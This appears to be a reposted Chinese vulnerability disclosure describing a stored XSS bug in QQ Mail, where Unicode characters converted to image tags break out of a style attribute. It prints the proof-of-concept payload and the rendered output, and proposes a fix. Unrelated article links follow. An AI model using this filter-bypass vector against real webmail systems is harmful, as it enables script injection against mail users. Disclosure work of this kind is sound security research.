腾讯邮箱邮件正文存储型漏洞
2016-01-25 16:18
288 查看
纯fuzzing,没有神奇的vector
QQ邮箱会将邮件里出现的特殊unicode字符转成自家的图片导致xss过滤函数被绕过。
Ex:
code 区域
按照正常思路,如果我们对邮件正文进行如下的xss injection:
<style>Fuzzitup {}*{xss:expression(alert(document.domain))}</style>
我们只能得到这样的回报:
<style>.qmbox Fuzzitup {}.qmbox *{}</style>
但如果结合我们在上面提到的unicode转换问题,来巧妙的构造这样的vector:
code 区域
最终邮件会变成这样:
code 区域
被强制转换成图片的unicode字符 ㊗ 由于包含双引号和右肩括号,会在无意间提前闭合style标签,进而将原先的attribute y的值带入到style标签的innerHTML当中,导致XSS。
详细说明:
root cause:QQ邮箱会将邮件里出现的特殊unicode字符转成自家的图片导致xss过滤函数被绕过。
Ex:
code 区域
㊗ -> <img src="https://res.mail.qq.com/zh_CN/htmledition/images/emoji32/3297.png">
按照正常思路,如果我们对邮件正文进行如下的xss injection:
<style>Fuzzitup {}*{xss:expression(alert(document.domain))}</style>
我们只能得到这样的回报:
<style>.qmbox Fuzzitup {}.qmbox *{}</style>
但如果结合我们在上面提到的unicode转换问题,来巧妙的构造这样的vector:
code 区域
<style x="㊗" y="Fuzzitup {}*{xss:expression(alert(document.domain))}">
最终邮件会变成这样:
code 区域
<style x="<IMG src=" https:="" res.mail.qq.com="" zh_cn="" htmledition="" images="" emoji32="" 3297.png"="">" y="Fuzzitup {}*{xss:expression(alert(document.domain))}"></style>
被强制转换成图片的unicode字符 ㊗ 由于包含双引号和右肩括号,会在无意间提前闭合style标签,进而将原先的attribute y的值带入到style标签的innerHTML当中,导致XSS。
漏洞证明:
证明:修复方案:
该poc暂时只能在ie7上复现。虽然poc有点鸡肋,不过这里最根本的问题是这种unicode转成图片的机制会干扰xss过滤函数的正常判断。所以我觉得大可以把这个功能去掉。相关文章推荐
- 2016.01.22-2016.01.24回顾
- 热烈祝贺Polymer中文组织站点上线
- Windows OS上安装运行Apache Kafka教程
- [置顶] 每天进步一点点——五分钟理解一致性哈希算法(consistent hashing)
- 项目用druid,长时间不访问应用,再访问又连接不上了数据库了
- Fluentd(td-agent)安装
- Kettle本机编译
- Android点击EditText之外地方隐藏键盘
- Android关于JavaScript与Native方法相互调用
- Java基础学习7_类和对象
- 唱吧中国首推VR直播,剑指VR内容短板
- 可选参数Optional Parameters
- HTML5拖放功能
- Android 的 AlarmManager 和 wakeLock联合使用
- PullToRefresh开源库
- boa常见错误整理
- Social(简介)
- 【箭扣观点】点赞习大大,助力朋友圈
- wget: command not found
- IOS 开发,调用打电话,发短信,打开网址